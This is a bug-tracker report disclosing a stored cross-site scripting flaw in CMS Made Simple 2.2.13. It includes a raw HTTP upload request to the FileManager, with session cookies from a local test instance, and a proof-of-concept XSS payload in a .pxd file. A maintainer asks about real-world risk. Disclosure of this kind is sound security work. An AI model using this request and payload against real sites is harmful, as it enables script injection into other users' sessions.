[#12274] Cross-site Scripting (XSS) Stored within *.pxd extension files

Created By: Joshua Provoste (joshuap)
Date Submitted: Mon Mar 16 09:58:05 -0400 2020

Assigned To:
Version: 2.2.13
CMSMS Version: 2.2.13
Severity: Critical
Resolution: Awaiting Response
State: Closed
Summary:
Cross-site Scripting (XSS) Stored within *.pxd extension files
Detailed Description:

```
Hello,

CMS Made Simple 2.2.13 it's vulnerable to persistent JavaScript code injection
using *.pxd extension files through the Filemanager.

#### POST request #####

POST /cmsms/admin/moduleinterface.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------212555752717647708711696301575
Content-Length: 656
Origin: http://127.0.0.1
Connection: close
Cookie:
13635816547db5ebee8fd12d1d0399c2da7b33fa=1eeb1837469d8314f770073d4287fca5370e2a80%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiam9zaHVhcCIsImVmZl9laWQiOm51bGwsImVmZl9lc2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCRhdXpSYThEd3N6Wk9hREZHV08yT3ZPYnFGOWR2SjR5bWFQV25tWVl3WGVxRFpSZ2VNXC9IdnUifQ%3D%3D;
  _cf7eac2c88c0a471c85e7; CMSICc6ae4b14e=80f585d9fad9b2cd3f1a4b392f3b8e31;
CMSSESSID52563d040680=62311d807899e65f0b3f00095d13494b

-----------------------------212555752717647708711696301575
Content-Disposition: form-data; name="mact"

FileManager,m1_,upload,0
-----------------------------212555752717647708711696301575
Content-Disposition: form-data; name="__c"

7eac2c88c0a471c85e7
-----------------------------212555752717647708711696301575
Content-Disposition: form-data; name="disable_buffer"

1
-----------------------------212555752717647708711696301575
Content-Disposition: form-data; name="m1_files[]"; filename="xss.pxd"
Content-Type: application/octet-stream

<img src=xxx onerror=alert("XSS")>
-----------------------------212555752717647708711696301575--
```

History

Comments

```
Date: 2020-09-18 12:14
Posted By: Ruud van der Velden (ruudvdveldem)

How would this file be a risk in a real world scenario?
```

Updates

Updated: 2020-11-03 14:42
state: Open => Closed

Updated: 2020-09-18 12:14
resolution_id: => 10